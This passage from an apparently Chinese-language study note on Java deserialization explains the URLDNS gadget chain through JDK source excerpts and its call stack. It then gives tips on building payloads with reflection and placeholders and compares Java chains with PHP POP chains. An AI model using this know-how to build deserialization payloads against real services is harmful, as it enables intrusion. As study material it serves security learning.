经验证,java中的输出为3870,这里又多了1,但这不影响该漏洞的触发,同样的,这对字符串能成功触发该链。类似的字符串对还有“AaAaAa”和“BBAaBB”等。
URLDNS
该链以HashMap的 reaObject()
作为入口,以 putForCreate
-> hash
-> k.hashCode()
的执行路径执行URL对象的 hashCode()
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { ... private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ... for (int i=0; i<mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putForCreate(key, value); } ... } private void putForCreate(K key, V value) { int hash = null == key ? 0 : hash(key); ... } final int hash(Object k) { ... h ^= k.hashCode(); ... }
|
进而触发URLStreamHandler的 hashCode
方法:
1 2 3 4 5 6 7 8 9 10
| public final class URL implements java.io.Serializable { public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; } }
|
URLStreamHandler的hashCode方法会访问相应的host:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public abstract class URLStreamHandler { protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); // 关键点,此方法内部会以http协议访问相应的host地址 ... }
|
调用栈大致为:
1 2 3 4 5 6
| ->HashMap.readObject() ->HashMap.putForCreate() ->HashMap.hash() ->URL.hashCode() ->URLStreamHandler.hashCode() ->URLStreamHandler.getHostAddress()
|
总结
参考一张图(来源Theoyu-CommonsCollections,没找到原出处),可以清楚地看到各链之间的关系,有很多重合的链结:
- 为什么要使用反射:
- 在POP链的触发过程中,我们并不能像平时写代码一样直接执行任意的命令,只能通过POP链的一步一步执行来利用,而Transformer的一系列实现让我们能够在POP链执行中通过反射的形式达到执行恶意命令的目的(主要还是因为“链式转化器”只能执行函数,而反射过程只需要能执行函数即可)。
- 在构造payload时使用反射是因为很多情况下,我们需要用一个“空元素”去占位,否则就会在payload构造阶段就触发payload,导致反序列化利用失败。这一点在调试中经常发生,所以建议能占位就占位,最后再用反射去强行修改对象的成员变量。可以和调试结合来构造,因为过程中涉及很多繁琐的调用操作,静态地看很难找到原因。
- 恶意类的字节码加载中,一个类在运行时只会加载一次,如果要再次触发,需要换一个类名。
- 在理解链时,还要对各种类在实际开发时怎么使用,其设计思想是什么样的进行理解,这样才能理解链中的一些细节。
- 与POP链的对比:POP链的入口数更少,污点数更多;而Java的入口数更多,污点数反而更少。这是因为Java的语法繁琐性决定的:要找到一个可利用的污点对语法具有较高要求;而PHP往往仅需要一个函数即可触发。所以Java链一般从污点往回找,POP链一般从源往后找。
- 此外,由于Java的强类型性,与PHP相比,Java的链并没有那么灵活的链间跳转;如果PHP的成员对象也设置上类型限制(PHP新版本已支持类型限制),那么PHP的反序列化链数量将会大大减少。
参考资料